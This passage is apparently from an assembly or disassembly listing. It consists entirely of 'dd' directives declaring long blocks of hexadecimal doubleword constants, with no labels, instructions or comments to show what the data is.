		dd 64A75449h, 7A16BD6Fh, 70CD0C4Fh, 0F3E8CA93h,	65FCCB73h
		dd 29B01A83h, 0C5954550h, 0AC6CB588h, 0AFF82AA4h, 201FE697h
		dd 5378FEE0h, 0B57D30E5h, 0F189E45Eh, 44521006h, 8B2556FCh
		dd 826B7BF8h, 9F0FFB3Bh, 8CC259F1h, 74E91602h, 0BD278DDFh
		dd 0D8C613B0h, 28C7D475h, 91B94880h, 0D840B262h, 8898524Ah
		dd 0D293A090h, 8B00FD24h, 0DB6959DEh, 833EA034h, 0EA0D9ADCh
		dd 1CC52A3Ch, 45389AF4h, 0F07DF8AEh, 94744ECFh,	7AB02C93h
		dd 597526E0h, 80550EBh,	8B55F12Dh, 35B3DD4Ah, 57C41231h
		dd 74C4E562h, 0E3A444FDh, 14A41838h, 0D8C536DEh, 163642D0h
		dd 35C85164h, 1127198Ch, 0F3961444h, 2D159926h,	30E03071h
		dd 0B1C0687Bh, 428C9169h, 7B18A75Bh, 787D062Eh,	802D7501h
		dd 222540BDh, 5C954C71h, 0E89D6DE8h, 0C906FE13h, 0B6E6C010h
		dd 6D4473EFh, 0C02243D9h, 2404C7C2h, 2E886B91h,	5229CFCCh
		dd 0F88A6DA7h, 41D06D26h, 7559E038h, 0D005D053h, 151463F1h
		dd 901AFE88h, 4111D679h, 770EB66Fh, 2C3EA508h, 85890B76h
		dd 14CCAFF2h, 42A412E8h, 43EC20FEh, 43C420A8h, 4BE03394h
		dd 0D315699Ch, 0FEA84C71h, 0ED8D9844h, 58B93A44h, 6A90DD9Fh
		dd 0C6429782h, 5D391A5Dh, 0BC885F1Ch, 50B1F527h, 59F2D403h
		dd 8429226Ah, 0CC881891h, 6FB4F901h, 6FF4DF35h,	0B408EF44h
		dd 642BFE41h, 0D4F483DBh, 0D14C6422h, 532C27ECh, 0D573E902h
		dd 4CA72489h, 508081E1h, 6E704DA7h, 40BE6924h, 98C72649h
		dd 0D5A9B5E3h, 2F94E011h, 0C84D37CCh, 688434B8h, 0B18AE4D8h
		dd 39FAB04Bh, 75855D50h, 1B531D29h, 0A9CD5025h,	0A126C42Bh
		dd 34088777h, 315951FEh
		dd 38EB21E2h, 39C59066h, 0EB35A9D4h, 89FB893Ch,	49A49B1Ch
		dd 38482E9Ch, 20AF821Ch, 65C85756h, 0A6ECD48Ch,	50295D49h
		dd 0B48C907Ch, 0C1177334h, 6C02A34h, 99C069D8h,	97F4A0F7h
		dd 3588D849h, 310D5DC8h, 0AEAA3079h, 3638374Ah,	75D84A4Dh
		dd 0B31D832h, 4AC0C6A2h, 1E046A2Dh, 0F5EBD6FFh,	70912AA2h
		dd 0C6684821h, 9A94AD2h, 0E045E02Dh, 51862A0Fh,	0D080CBA7h
		dd 8DA16105h, 8782E693h, 5006EA60h, 0E5B7833Eh,	76BDE551h
		dd 4922044Ah, 0A28B6550h, 0F8F44C5Bh, 474A14F2h, 0AFED469Dh
		dd 6AB8EA24h, 0ED3BCE0Bh, 68C95DDAh, 390B8B77h,	0D40C9870h
		dd 5313469Bh, 0B3774566h, 9AA2A613h, 754CDB5Ah,	53E6F980h
		dd 2D356098h, 0D8E845A4h, 73EDCC19h, 0FA9F21D5h, 9821F811h
		dd 4C849C64h, 0BC8CA1FDh, 5ADE5733h, 0A08A014h,	7A73C0A3h
		dd 0D90AA3Eh, 80213446h, 70881891h, 19723462h, 43E00C5Ch
		dd 94442171h, 34881A10h, 0D228465h, 48741928h, 52861041h
		dd 0F4100DD0h, 27408AECh, 7D1D398Ah, 1B28B13Eh,	1E044474h
		dd 103C197Dh, 8F60918h,	2C323C73h, 24111010h, 1C118402h
		dd 19571E04h, 8D01014h,	9A69830Ch, 4066F611h, 73D405C7h
		dd 6861B89Ch, 0E54DECDCh, 4CA32C8Ah, 141C1627h,	0D0093C5Eh
		dd 19B015EBh, 29D0D8A3h, 2CD0B22Dh, 29919C34h, 223827A9h
		dd 0ECC02301h, 0CAB2B414h, 0A8C4BF70h, 0D912032h, 0ACB40C98h
		dd 0D8854F3h, 431AA4C4h, 10E42374h, 0C404C864h,	0B27F3754h
		dd 11700062h, 0F013095Ch, 0B462EC20h, 8C73C438h, 1172E423h
		dd 1068CF04h, 4614DCE2h, 12875140h, 7A91E060h, 43F40C24h
		dd 88102171h, 0E0C772B0h, 889C9088h, 0F5443621h, 84B01940h
		dd 17B51161h, 2A270BEBh, 67A3E021h, 552145B8h, 848A2658h
		dd 1EEBF023h, 841121E0h, 950DD08Ah, 0BC8A85C8h,	1A38940Dh
		dd 2064AC88h, 8019A062h, 4484925Ch, 0FCAEF073h,	238CC878h
		dd 20087338h, 8880C772h, 2B0AE471h, 7490848Ch, 0AABAF8C9h
		dd 33D00D25h, 49C4F85Dh, 0D0413980h, 4C88454Bh,	8323CE4h
		dd 0C2CAFB1h, 217143FCh, 0DF04901Ch, 230D0C55h,	0EAF80864h
		dd 0E488F14Eh, 0C8621864h, 865CD419h, 0D6734508h, 0FC23EF4Eh
		dd 0CA041171h, 68E7F364h, 7218C488h, 0B8091DD4h, 0E1DF94EAh
		dd 0E4B03FA9h, 287234E8h, 51B02AACh, 0A01142BBh, 34883992h
		dd 0E7156E99h, 910D788Ah, 91A19F58h, 64548860h,	1B44621Ch
		dd 3CDA62B5h, 1B26F019h, 520D302Ah, 2021275Ch, 0F471DC8Ah
		dd 788810CEh, 580F4944h, 514120B1h, 4FE0860h, 831221Ch
		dd 29363C54h, 91939E10h, 0C2735C08h, 901571DCh,	0EBECC8F0h
		dd 459CEE04h, 0E73C1468h, 80244A5h, 0E9FC218Eh,	8AB38C15h
		dd 0B8950DECh, 0DDC8AA6h, 881A3094h, 220C65D0h,	0B41BC00Dh
		dd 0A819B462h, 4686AC18h, 97A02174h, 480B7494h,	8CC4B00Dh
		dd 0C72BC31h, 0A0498680h, 230DD169h, 0C8701054h, 0C8D0CF14h
		dd 3260C410h, 58419150h, 0DA4480Ch, 64105043h, 6448C873h
		dd 193C6278h, 0ECDD0D2Ch, 120B5DACh, 2C0462E9h,	27484019h
		dd 0FC528624h, 911C214Eh, 6410883Ch, 190462A8h,	21DF37F4h
		dd 9FB811E8h, 28520D2Ah, 0DD82A27h, 0CC219846h,	0D14549BBh
		dd 0F970260Dh, 0AD888CE7h, 259F23AAh, 22CAD8D2h, 5900CB8h
		dd 237230C4h, 0C02284F9h, 0A80CED19h, 21E14386h, 0CAD59074h
		dd 0C9953C94h, 90B0210Ch, 24BCCABDh, 0A0C8B190h, 5432A564h
		dd 140C9919h, 0C8D0CA9h, 81438610h, 741A6C52h, 5A931079h
		dd 102171C3h, 21691078h, 1161102Ch, 592072ECh, 40734022h
		dd 0D19BFC51h, 0A8C83C91h, 3172F4E2h, 46281CB8h, 88982373h
		dd 435672CCh, 0A4F423F8h, 38E81371h, 11A1F4CBh,	0C7231598h
		dd 5821C47Ch, 0A2FA0D72h, 1971E40Dh, 0A4DC0C54h, 2940431Ah
		dd 30100D90h, 1C1063DDh, 8C4ACC8h, 0F4302432h, 1C4684E7h
		dd 2C92E021h, 7005BA74h, 35120D8Bh, 88C48310h, 71E40840h
		dd 0F10389Ah, 10300C71h, 28408490h, 201784E8h, 0C522CB3Bh
		dd 72DC3B24h, 0FC471E2Ch, 53315563h, 0C4680318h, 0BAD1FFE5h
		dd 1D08F3CCh, 6853A69Ch, 502F1E64h, 1FA21D89h, 22E7FAC1h
		dd 3D748720h, 31D9A8D7h, 0B44C981Ch, 0C88A9CA0h, 98CC930Dh
		dd 7244A063h, 7FA48438h, 8B27342h, 680465A7h, 0E7A284C9h
		dd 0E5217F8Eh, 0C8636C14h, 62146460h, 26EC1950h, 0D3C2A7Fh
		dd 90726021h, 0C494C828h, 73A43118h, 52860C0Ch,	86701A4Ch
		dd 1041F852h, 0E88AE6F4h, 32E4440Dh, 0CC27917Ch, 0B96C0D52h
		dd 240814CBh, 118A36FBh, 608871ECh, 0C48894E7h,	384C72A4h
		dd 788C71F8h, 7C238CE8h, 736C0872h, 74102156h, 88A30C1Dh
		dd 8A52E6C0h, 0C63E6ADEh, 88928829h, 10CF723Ch,	544A0C8Ah
		dd 14211843h, 0FA697844h, 900C5439h, 0E2F1DCAEh, 4A2A8C25h
		dd 1C902021h, 7D1C4CA2h, 21384752h, 74BC9224h, 0B40D4867h
		dd 11E5F4C2h, 0BC644C7Ch, 63544F84h, 62ECB4F4h,	1074957Ch
		dd 5024C828h, 0BEA7E5E8h, 1563D89Fh, 88115AC8h,	453C9E72h
		dd 104A95F6h, 512CC830h, 7C240EBCh, 904A2152h, 0B150CA98h
		dd 9C3288C4h, 0D222E5Bh, 0D1F2D859h, 1098230Dh,	0D830CA58h
		dd 0A42250E4h, 9C7DF04Eh, 0E8D8578Ch, 2146983Ch, 0C387130h
		dd 48118534h, 143930A2h, 0F18E6C0Ch, 0C4854408h, 3A3C3240h
		dd 5D453F7Eh, 0AFE524AEh, 0F633F520h, 74FE3B3Bh, 3A36F1CBh
		dd 3976FF80h, 19679875h, 84388071h, 3906F6Ch, 7428701h
		dd 8559D88Bh, 0A193EEDBh, 1321B8A2h, 0A0ECA0F2h, 4CBE69Fh
		dd 0FC50C72Bh, 90D89F11h, 698B1036h, 0B9761EC3h, 687744A7h
		dd 0D1A2350h, 146B60EFh, 5D10AB12h, 0D1DD3C11h,	200E9654h
		dd 518B03A0h, 0C73A12F7h, 5BC69263h, 5D6819F7h,	0D095313Ah
		dd 56530107h, 0B832252Ah, 7BF8258Eh, 8CD8ADE7h,	0D264E6B5h
		dd 11AA49Ch, 7DE15B50h,	0C800057Ah, 3373EBFFh, 0A0B589C9h
		dd 0C08528h, 148A167Eh,	0AFA8031h, 0A057430h, 0A304750Dh
		dd 4100EF91h, 0C7CC83Bh, 57D233EAh, 8D182A3Bh, 804F34BDh
		dd 0C5325C3Ch, 7C3B193Bh, 4CC00133h, 0E740A05h,	40EFFB81h
		dd 890B7DEAh, 8300430Fh, 3B4204C7h, 0F1DC7CD0h,	5FC00CF9h
		dd 80175674h, 0D44F8B43h, 0B628BA54h, 6164B7C3h, 8244412h
		dd 0B9CA50BCh, 0A452840h, 788DABF3h, 7C033985h,	0DF8B531Fh
		dd 8A103B05h, 0B9200604h, 7F592C3Ah, 4C7F46h, 811C8918h
		dd 7EF73B4Bh, 3EA0E55Eh, 24699DC3h, 0F31D4004h,	610E3C20h
		dd 0A30B7C59h, 4077F7Ah, 0E883C028h, 6616AF60h,	0C119FB2h
		dd 9FB8D310h, 0B2D6F8D0h, 0BFC2AF9h, 9C0285A2h,	5002EFF4h
		dd 7E158E56h, 0F03925E2h, 8B4EC160h, 129DFE48h,	0CC5A7A7Eh
		dd 517F139Eh, 1E91C1C4h, 12072308h, 0BE391459h,	20629D7Bh
		dd 671FA004h, 0FAF455C3h, 8D4FAA84h, 0CE2BCA04h, 27E3281h
		dd 5B03C1E0h, 26BEC7F8h, 8D14952Ch, 0B34DFF72h,	701961D0h
		dd 49F85589h, 4D64984Dh, 475C152h, 0EB4E4FB0h, 22CCF886h
		dd 0C7032705h, 20B862C5h, 85564D01h, 895AB390h,	6805F6A3h
		dd 0DE501609h, 285646CEh, 321210C8h, 1F28A846h,	80088A40h
		dd 7F1F18F9h, 75090A05h, 0EB40030Fh, 720AEF1h, 191A8D48h
		dd 0C72D031h, 742E1D40h, 7C2180EBh, 122FE652h, 4D095056h
		dd 41367C74h, 2BEDDC68h, 86569798h, 0C66C49B7h,	0ED89523Fh
		dd 0F0BF1AD0h, 154CA43Bh
		dd 8B01C7A9h, 74EE3BE8h, 6E8D3164h, 86FCAC24h, 1590066Ch
		dd 9894B44Bh, 7C482DF8h, 0F381F38h, 23B05566h, 85716A9Dh
		dd 65B95341h, 71015099h, 55B7135Ah, 1B943A4Ah, 72C90F08h
		dd 66BCAD57h, 29683A02h, 0D93C66A9h, 20011C21h,	7784978Ah
		dd 5AB850E4h, 0DC942FC9h, 689999F8h, 0B9CD2ED0h, 0E180BFD8h
		dd 6A572D85h, 358B0F03h, 304248D5h, 802F6832h, 0F125F25Eh
		dd 2D4C905Ch, 78CE4CE8h, 0BCF3C8F0h, 1D1478A4h,	8B875E79h
		dd 0ABB7F0Dh, 4F3402A8h, 0D672D240h, 16B8195Fh,	0E965364Eh
		dd 60F326B8h, 13F1CC9Dh, 0ACEE0868h, 0ECA8B10h,	51C3FDFh
		dd 66A0431h, 0FE4A46A5h, 8B52DD5h, 4164C618h, 39C51107h
		dd 51FBF135h, 0AF0F74EBh, 75CD2212h, 2D734407h,	15E85D6Ch
		dd 0B1A09FD3h, 0B282F89Ch, 0CBD92DE2h, 0EBE120Dh, 6816FD20h
		dd 1BE6EE78h, 79511490h, 8608AE06h, 0E26CBDB0h,	0FE09E9B2h
		dd 280C860Fh, 50452223h, 34684421h, 0B14A3D4Fh,	2F190D5Ch
		dd 0E450CCBh, 476C8652h, 5410998Dh, 2FDC2BECh, 0A818C244h
		dd 9657575Fh, 7D893F2Eh, 6804BF95h, 24FEA410h, 0C7041957h
		dd 59FFB445h, 0ADD40E76h, 758A402Dh, 0A48CC8D8h, 1BE75097h
		dd 0FF199F7Dh, 89CC7BCCh, 12125274h, 65AAE25Eh,	2429C82Fh
		dd 1C21BB1Eh, 0F4297AEEh, 6CB0C83Eh, 0BF84C46Eh, 0FAA82F91h
		dd 40080B48h, 0D2BCAA94h, 0AE917F27h, 0AB51C011h, 6063DD6Ah
		dd 279A08A4h, 75840F28h, 7525E29Fh, 9AFC383Ah, 6A6D7460h
		dd 0E090CD20h, 0F0700027h, 8428BE90h, 0E0535DEEh, 0EBF310F5h
		dd 926B1426h, 0D3E8A849h, 436C8454h, 460C2217h,	0FF317D32h
		dd 81218E0Ah, 0C19EACD9h, 4BE0ED75h, 0AC7197Eh,	247C7C20h
		dd 0C1484C0h, 5F07A83Dh, 98D027F2h, 42D2C4Dh, 25BF1446h
		dd 0F221981h, 0FDD76698h, 0EAB50EAh, 0C408BC3h,	1086D87Bh
		dd 99580D4Fh, 0AC9856Ah, 0D1FF0274h, 214C5D0h, 89581087h
		dd 0DE4FA3DEh, 78E34EB8h, 0F35A1291h, 6DB8315Eh, 0F3F9B60Fh
		dd 5448F260h, 0F5F20A76h, 8BF10B90h, 96D379F0h,	4C3FE756h
		dd 47BCD3F9h, 0FA40CE9Ah, 1D4F7E01h, 75D14AE0h,	19F7E6E9h
		dd 2E348DDAh, 0B70F0054h, 71A9B83Ah, 75490342h,	4EB5FF6h
		dd 8508231Eh, 5745E46h,	0C10A5B94h, 2F25C8C6h, 0E9830B97h
		dd 9FAFE710h, 0EE8B7BFh, 6CD0F7B2h, 0E2944AFEh,	0FF6C1062h
		dd 4906C72Ah, 0D488F294h, 70BD8386h, 75051923h,	12741222h
		dd 1014201h, 886880B8h,	0F212F327h, 249735A0h, 2F98142Fh
		dd 5EFFCE5Eh, 1C1CCD9h,	4DEEB72Ah, 599570B9h, 8C68840Ch
		dd 0C6F9EDEEh, 0F1CF056Ah, 198D8D13h, 9451522Fh, 0C547D04Bh
		dd 0B0AC03A0h, 601946A2h, 86A5F311h, 0EF08BAD8h, 0B95E1864h
		dd 0B0890D04h, 0B8C51467h, 240459BBh, 22F0BFE2h, 0B41441EFh
		dd 1107EEFCh, 7E50F8B8h, 7655E6BCh, 0C44D33C0h,	631C812h
		dd 0F4902CCCh, 0F0941D51h, 0EC980751h, 49C2452h, 10A408A0h
		dd 0A6AC3FA8h, 0D8433A5Dh, 0F4162082h, 3081F05Ah, 746E7530h
		dd 68D80B5Eh, 40054C53h, 0D5CD592Fh, 0B3571208h, 50539722h
		dd 296BB2A4h, 65BFDC1Ch, 81089EDAh, 804D8D1Fh, 88089051h
		dd 2561B4Bh, 0E4EC50DAh, 68950891h, 0E892DE5Fh,	46EF6071h
		dd 7360D82Dh, 0BC683775h, 601FEE50h, 0CB2FFC45h, 4F1142A4h
		dd 0B5E0DBCDh, 0F279D364h, 4F0A4DB3h, 0D14CB5DDh, 4551B048h
		dd 100EBFBCh, 0F5400163h, 73054D0h, 103143D4h, 0DCC432D8h
		dd 0A2E03033h, 0E40444F5h, 9E61A343h, 8DA93705h, 1DA5EC0Eh
		dd 2BEC0C45h, 0F0B2D473h, 0C296D02Ch, 0C6559AEEh, 43AA96E3h
		dd 3B7D5AECh, 10489089h, 86A050F5h, 7F24B228h, 8E639D03h
		dd 3A2B344Ch, 3768587Dh, 8D00CBFh, 95DD8D0Fh, 0E1755A24h
		dd 1D5E953Bh, 6022B64Ch, 87F41D90h, 64D2C383h, 0FB32A6A8h
		dd 0D2DED968h, 0B535430Ah, 0F32221FEh, 88E3239Dh, 259FDE35h
		dd 0B042D6A1h, 5A2CE5A9h, 54B0C8B1h, 23848B90h,	0B2E76295h
		dd 0E61646D1h, 0D2099602h, 1D10BB51h, 88408022h, 25109985h
		dd 0E91BE16h, 0C2DB62ADh, 6CD786CFh, 27FAAE35h,	0A373EE98h
		dd 17265345h, 60704546h, 6F9DC2Ch, 95279818h, 0A13DF9E5h
		dd 0D828C4FCh, 1D708920h, 0D9B64DD6h, 4B8BE79Dh, 338408F1h
		dd 42ABB9D2h, 0BBF1F7DFh, 8101A661h, 0BFF38B1Dh, 86640E10h
		dd 3C6A2EEFh, 852B163Fh, 0F73981EFh, 9EF2F9F6h,	0F50FC633h
		dd 12C2AD5Dh, 50080EB3h, 0EC51D7Fh, 0BFD75CBEh,	0CA6045CDh
		dd 870C5968h, 0CE326A13h, 9B245BB1h, 40BECBD0h,	0E40F7042h
		dd 67685031h, 59FA728Bh, 229956D8h, 58C07A2Bh, 5256D71Bh
		dd 0F614AE52h, 85001A60h, 72D777FFh, 0DE763B04h, 64C9D141h
		dd 0F5819578h, 0B0CA8BE0h, 85F0FD16h, 775804C9h, 8105725Bh
		dd 70735043h, 24DF4B7Dh, 0BD7722B3h, 91471008h,	443B8842h
		dd 0C4324837h, 2426222Bh, 111B6221h, 3119121Eh,	4A0A080Bh
		dd 80BDA173h, 1BC62B20h, 2FC303D1h, 36FBD713h, 0DC128D2Ch
		dd 0FFA262BFh, 0FC5B4112h, 1E9A4A38h, 2CB92DECh, 0BD8640AFh
		dd 425C064h, 9D395275h,	913686Fh, 9F3F4626h, 6712A0E3h
		dd 4F9CF074h, 7088B002h, 0FC7E84A8h, 0BAEB29CEh, 0A2E012Ch
		dd 25900975h, 0C155886Ch, 1745755Ah, 204345A8h,	3375055Bh
		dd 642C818Eh, 548C2908h, 84601201h, 2321746h, 74255821h
		dd 70547D08h, 38252F75h, 8ACC2E9Dh, 820D027h, 0FD52C997h
		dd 2FD45346h, 0B465F04Ch, 0F29514A0h, 6678C36Dh, 314848A1h
		dd 0CA3F3CC3h, 0FD257CE8h, 0B2C6D87Eh, 0F4B0CE13h, 0FD7C010Bh
		dd 12ADA165h, 0BAD5F2Eh, 0DE840D74h, 0FDB044F4h, 0CDD0D75Ch
		dd 0F6C53F60h, 0F86528BBh, 8D6607B0h, 9D23040Bh, 0EF65972Dh
		dd 5EB30D0h, 0C7D96874h, 0B13728EAh, 8297115Ah,	0A2D9FB35h
		dd 0E85B644Fh, 0F8221EA2h, 60466A26h, 535D2418h, 950948BEh
		dd 0E42C4A93h, 0C8B0911Ch, 11174818h, 206A12E0h, 0EAD290A8h
		dd 1016B539h, 22DC45A5h, 0E4431456h, 773E429Eh,	1CD061A4h
		dd 0BDA9DFE7h, 93E899C8h, 9266D6CFh, 2168430Ch,	0E4762564h
		dd 524D4441h, 75EFFD96h, 2FE0E6A2h, 25E472ABh, 9E7140C4h
		dd 0BE08696Bh, 7F950E78h, 73178E93h, 77D73D4Eh,	284D7507h
		dd 95561C08h, 0E189D7E4h, 8A6F3C71h, 0A491613h,	5959A711h
		dd 4292F6C5h, 1AE21301h, 46A42750h, 5F1E25E4h, 0E0BE1885h
		dd 45560A22h, 0FF74884Eh, 0CB3C0FA3h, 0A5784DE2h, 0CD08A4DFh
		dd 78C0015Eh, 1C8B0EF0h, 0C51A14Eh, 571120B6h, 11D5054h
		dd 8A428A2Ch, 94A1F697h, 0E32ACE09h, 577D8787h,	1210B2EEh
		dd 413CCB24h, 0C754477Dh, 0F1045F27h, 1117570Ah, 8E835F36h
		dd 0C4899F8h, 6605933Ch, 8028F981h, 0B70F3E00h,	3D18407Eh
		dd 749C0884h, 67C9EE2Eh, 0E2230F09h, 18270A7Dh,	250B4CE2h
		dd 2B67F10Dh, 0C5EB5F73h, 0A9509EFh, 60B488Fh, 7C3DA7DEh
		dd 0A95E013Eh, 9EA41CE4h, 4247F925h, 562503BCh,	0BD09C252h
		dd 4A43E468h, 4BF3B344h, 709AAFA8h, 2094D70h, 0A99C9889h
		dd 7F1E5D61h, 1C5F7535h, 175406A9h, 6800FB44h, 6595F228h
		dd 801126B5h, 0DC7D390Ch, 57522075h, 0D8E3401Ch, 99484DC9h
		dd 5C45B550h, 0E9B773FCh, 758998C5h, 0E26F46C8h, 69709457h
		dd 1BB822A8h, 0FA509A51h, 5D7C8949h, 73ED2ADFh,	79563E28h
		dd 0F3F1F085h, 0AA779014h, 965564DAh, 556F81E0h, 85C8684Ch
		dd 8F5ECBB6h, 95F2DA67h
		dd 0F195E47Ch, 25D0EFB8h, 0C8FFD957h, 358BD087h, 2CB37796h
		dd 547D9AE8h, 0B21E2CCFh, 45092B0Ah, 23B1F87h, 94870FD0h
		dd 1C96F2FCh, 5C6EB42h,	52625898h, 0AB404B45h, 0A3660AD4h
		dd 0A54769Ah, 88079C1Dh, 48B29E3Dh, 888020A0h, 14A4A11Dh
		dd 4B74A244h, 2DBE230h,	0E3C1D88Bh, 30AA408h, 6418483Bh
		dd 5B4BA494h, 5AEF3E08h, 0A314BAC7h, 0B7F14A1Bh, 11A7A8E1h
		dd 54382553h, 0F90AF79Ah, 13AC1588h, 8EAD4354h,	894A10F0h
		dd 9130A235h, 22B3AE56h, 108AF3B2h, 5128B015h, 1A4616FFh
		dd 27B46852h, 7C6929F1h, 0FF57941Ch, 26FE69DDh,	78154258h
		dd 89CD32DDh, 0E0DA0933h, 0A9704A1Dh, 8B14AC16h, 5F645241h
		dd 70682844h, 0E856DD95h, 124B379Bh, 0E4502A93h, 60D57574h
		dd 0C06BB204h, 0BC123F0h, 75F70AE8h, 140A1A74h,	5D7A8351h
		dd 0D591F246h, 1C3C0444h, 219D5C85h, 1032056h, 882E7919h
		dd 71BC6449h, 42A6895Fh, 72A062E2h, 50719A75h, 0C1809100h
		dd 2ADB33F0h, 11B04B59h, 8A98185Ch, 6269750h, 93A69383h
		dd 0EB21721h, 94BE90BCh, 4293B3F2h, 0C109D85Dh,	0BE4CBC15h
		dd 0FEC088D4h, 0DFBC4686h, 79D0E4A1h, 0B60CCF92h, 1679593Fh
		dd 41BD03EBh, 0D1621C25h, 74A5AE53h, 0DCB80E08h, 8749BC73h
		dd 5C4B4539h, 33C8BC75h, 106DC839h, 0AD012E0Ah,	267EC05Dh
		dd 61B21125h, 88AE506Ah, 4FFEFCE4h, 7C8D72C4h, 80CAC4ADh
		dd 0C00681FFh, 0F55DA7Ch, 0CE4787B9h, 0E4575C88h, 218C8E53h
		dd 1CCCD910h, 0B089235Eh, 61755127h, 0C9116A59h, 0F72E02h
		dd 333CA34Ch, 21A3B2DEh, 0BA85C757h, 6754A790h,	9C4CF9D2h
		dd 3C377575h, 0AC90C7B2h, 4CB51186h, 94F3E0FBh,	32D4D33Fh
		dd 12E419CCh, 0CCDEB1D0h, 91877E1Bh, 0CA56C8E0h, 20A36AA8h
		dd 0E08699Dh, 1C50B829h, 0BA9B3490h, 0DFFA1BEh,	0BE3C5242h
		dd 0DA9F5D6Ch, 0C62A7F12h, 0B812B2ABh, 0C0A8785Ch, 5FF609F1h
		dd 0A6AE702h, 202FEB5Fh, 75F8D888h, 0CC2443DEh,	7E0BCEACh
		dd 0A808B61Ah, 1288D4B9h, 46EF3594h, 6BE67CD4h,	6AE74DECh
		dd 6A55EE01h, 0E63A5E0Bh, 92E4540h, 0D43E854Bh,	0D34DC22Bh
		dd 53DD5BF0h, 8A412076h, 4E8F5C6Dh, 6711CE2Bh, 5CAC5FBCh
		dd 0EBF2A091h, 0C23893A1h, 0F215F2C8h, 811CA267h, 71041489h
		dd 0B1124CCh, 0EA7C85B9h, 9FDECC2h, 80C71300h, 0E69D0210h
		dd 0CCBE8A92h, 7705226h, 52FD527Eh, 86A35115h, 0FBEC2162h
		dd 45346802h, 8433A8D3h, 0F875209Dh, 651C5652h,	3D16F4F0h
		dd 0FDEC3F61h, 0FB437E1Ah, 0D53CF089h, 9F5E5F29h, 7D065489h
		dd 0A47B70A9h, 0F0732F69h, 2A28144Fh, 91FDEEB2h, 0CAFF01Ch
		dd 3ACA4558h, 7E47B6FCh, 28E5AC19h, 90BF300Ch, 0ACB58D1Dh
		dd 8BD4F962h, 0EB9ED5DFh, 60CAC91h, 274DB674h, 0F4D151FCh
		dd 77FC5016h, 0B1C683C7h, 59D7754Bh, 10790331h,	42363425h
		dd 251C33FDh, 71EC6422h, 1E812486h, 0F2260AC0h,	570C1D0Eh
		dd 0BD9DC490h, 4CD15A74h, 0CC682474h, 1813028Ch, 0EBF7909Dh
		dd 0B117D666h, 120B1525h, 0FA31FB70h, 8D6FE150h, 38927B0Ch
		dd 13637199h, 790B1E5Fh, 0E58AFEAFh, 5588FFA6h,	0E6C7939h
		dd 85A9EEFDh, 0E174A58h, 82C8DB33h, 888DC34Dh, 0EEB44C9Dh
		dd 7C29608Ah, 2680D8Dh,	8C6E934Dh, 0AB4034AFh, 4B55298Ch
		dd 57070735h, 0F74C1B53h, 0B85C9CA4h, 0FF4A048h, 65A0E984h
		dd 0C84D2DA0h, 5336950Ch, 5D13504Ah, 3A6493CAh,	1B22521Eh
		dd 8BED5FB0h, 4D75443Fh, 0BF921A10h, 0A528AF49h, 0EFAB21Fh
		dd 0E0C9C605h, 3FD9A0ECh, 888E229h, 5D0CE47Dh, 63E832E6h
		dd 6E90880h, 50EA1932h,	0C12492F0h, 64C240A3h, 2ACE6659h
		dd 0D8313AD4h, 2D90850h, 0DACC6E32h, 5066C0E8h,	0CB06DE5Fh
		dd 4751ECD3h, 3F5CF813h, 0AD0BF127h, 99645458h,	31B8C00Eh
		dd 3603D0C6h, 13F28B13h, 0A832D2F9h, 0ECCEDC67h, 2D03E921h
		dd 0F1A6B351h, 0E68CC71h, 0E7C1F8C1h, 0F50B0C10h, 0F829E69h
		dd 92EBC0B7h, 5EF2B248h, 0CC3FE2F1h, 14646AA1h,	0F004EC24h
		dd 8CE5D05Fh, 90505D88h, 64291A2h, 0BDF692C9h, 0E08825BBh
		dd 92206ABFh, 758AA2D6h, 0C83544C5h, 6C2902A9h,	8A1D4811h
		dd 0C0E346Ah, 0DC77933Fh, 48E046C8h, 0B60F934h,	0F946A15Ah
		dd 0BA3C2A74h, 4246A644h, 56EAC828h, 9D284A91h,	3A7E4ABFh
		dd 79734A2Dh, 1276232h,	479CBDC2h, 3BFC8097h, 273C7FC6h
		dd 0A1AC8C0Fh, 20FBF81Ah, 2E4D733Eh, 0B2531630h, 0C30488Ah
		dd 0F3A0688Bh, 0D3171697h, 0E5CBBC22h, 5D400EEBh, 0AC2261B5h
		dd 740E5E66h, 0C38B0B6Dh, 96175B5Fh, 0F8ACF090h, 2E434B6h
		dd 0A8085709h, 32840BB3h, 0A32F3051h, 2C87524Bh, 0DAAB1CBEh
		dd 0FF4BAA64h, 941690CAh, 6AAB7003h, 0A9B15965h, 0C2FE6C08h
		dd 89360190h, 0B0625969h, 3FCD92h, 59365615h, 286C16A1h
		dd 0AF3E93F0h, 0F1FC6C11h, 7E1AFE6Ch, 98A8FC42h, 25986BE1h
		dd 0A5832759h, 563CDD6Bh, 0A8659204h, 19BB260Bh, 9A600686h
		dd 7D8D0E5Ah, 7C8D89ACh, 80513037h, 9C137C82h, 8855CC84h
		dd 8458C1Ah, 0C900E88h,	18119462h, 21861698h, 0A088299Ch
		dd 27EAA43Ah, 0ABB0B1E0h, 0ED48ECCh, 0B806CCB4h, 20E0BC2Eh
		dd 2017638Ah, 0C798C48Eh, 4D1B3F62h, 12D56BCCh,	0EFABD80Ch
		dd 55570D22h, 2195EBCEh, 732815C5h, 98885279h, 53E185A5h
		dd 8E3C1DC9h, 92E6F4C9h, 56728D65h, 18A116D4h, 0C71767ACh
		dd 0B2F20FBEh, 0EB3D89EFh, 5B9D48C9h, 1A90D725h, 9A6F6808h
		dd 0FB35733Bh, 0D1792787h, 31583887h, 1F6AF6A7h, 2F2B52C8h
		dd 0C40E11Ch, 0FBC2E1CFh, 0CB8B0904h, 25F4CDC8h, 0C1024FDCh
		dd 870B18E2h, 1ADA55B8h, 0AC1A2353h, 1FA4B906h,	728B9864h
		dd 0C28D8DCh, 30C804DDh, 12A469D4h, 9216F3E0h, 95446101h
		dd 7D4850B0h, 0E239CB56h, 0DE58B916h, 29E429CAh, 2930E10h
		dd 95848AE5h, 881BA244h, 25FDE545h, 0E990E840h,	0C4D38DECh
		dd 0DAE66B2Ch, 4D69501Bh, 0D06862F8h, 6B5CD3DEh, 0BC2FBCF6h
		dd 40685299h, 0D99D5157h, 25C54B21h, 72A25625h,	1C04BE49h
		dd 62A54BB9h, 90396C69h, 0F523681Dh, 7B940894h,	0ABA5A6B8h
		dd 5CEB4127h, 3D5C58BCh, 21108EABh, 6813FB6Ch, 21CD3FF0h
		dd 0FE884EFBh, 0FB6CFDC4h, 70B58D85h, 0BE7F2835h, 6E395CC4h
		dd 0CA46E020h, 506FC021h, 0B928A3F2h, 73C31412h, 6C144AA8h
		dd 0AC81AA70h, 0ED16CC02h, 0D024CE12h, 0D411D248h, 0D610D521h
		dd 0C496DC27h, 0EAB8F8A6h, 14A4590h, 182993C9h,	56786880h
